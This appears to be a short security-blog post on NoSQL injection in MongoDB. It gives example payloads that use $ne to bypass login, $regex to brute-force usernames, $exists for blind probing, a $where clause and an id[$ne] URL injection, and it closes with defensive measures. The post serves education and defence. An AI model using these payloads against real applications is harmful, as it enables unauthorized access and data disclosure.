NoSQL databases like MongoDB are increasingly popular, but they introduce unique vulnerabilities, such as NoSQL injection. Unlike traditional SQL injection, NoSQL attacks exploit query operators like $ne
, $gt
, or `$regex` to bypass authentication or extract unintended data.
Basic NoSQL Injection Example
If a web application queries a NoSQL database like this:
<target_website>/api/user?id=12345
You can manipulate the query by injecting operators:
<target_website>/api/user?id[$ne]=12345
This may return additional records if the backend fails to sanitize input.
You Should Know: NoSQL Injection Payloads
1. Bypassing Authentication
If a login endpoint uses MongoDB, try:
{ "username": {"$ne": "invalid"}, "password": {"$ne": "invalid"} }
This could return the first user in the database, bypassing login.
2. Extracting Data with Regex
Use `$regex` to brute-force data:
{ "username": {"$regex": "^a"}, "password": {"$ne": ""} }
This finds users whose usernames start with “a”.
3. Boolean-Based Exploitation
Check for blind NoSQLi using conditional responses:
{ "user": "admin", "password": {"$exists": true} }
If the response differs when `$exists` is `true` vs. false
, the app is vulnerable.
4. Command Injection in MongoDB
If the app allows arbitrary queries, run server-side JavaScript:
{ "$where": "this.password.length > 0" }
Defensive Measures
- Input Validation: Sanitize all user inputs.
- Use Prepared Statements: MongoDB drivers support parameterized queries.
- Least Privilege: Restrict database user permissions.
- Disable Dangerous Operators: Block
$where
, `$regex` where unnecessary.
What Undercode Say
NoSQL injection is a growing threat as more apps adopt non-relational databases. Attackers exploit weak input validation to extract data or escalate privileges. Defenders must enforce strict query controls and monitor unusual database operations.
Expected Output:
Vulnerable Endpoint: /api/user?id=12345 Exploit Payload: /api/user?id[$ne]=12345 Result: Unauthorized data disclosure
Prediction
As NoSQL databases gain adoption, automated NoSQL injection tools will emerge, making attacks more accessible. Developers must prioritize security in schema-less database designs.
(Note: Removed LinkedIn-specific content and non-IT URLs.)
References:
Reported By: Faiyaz Ahmad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅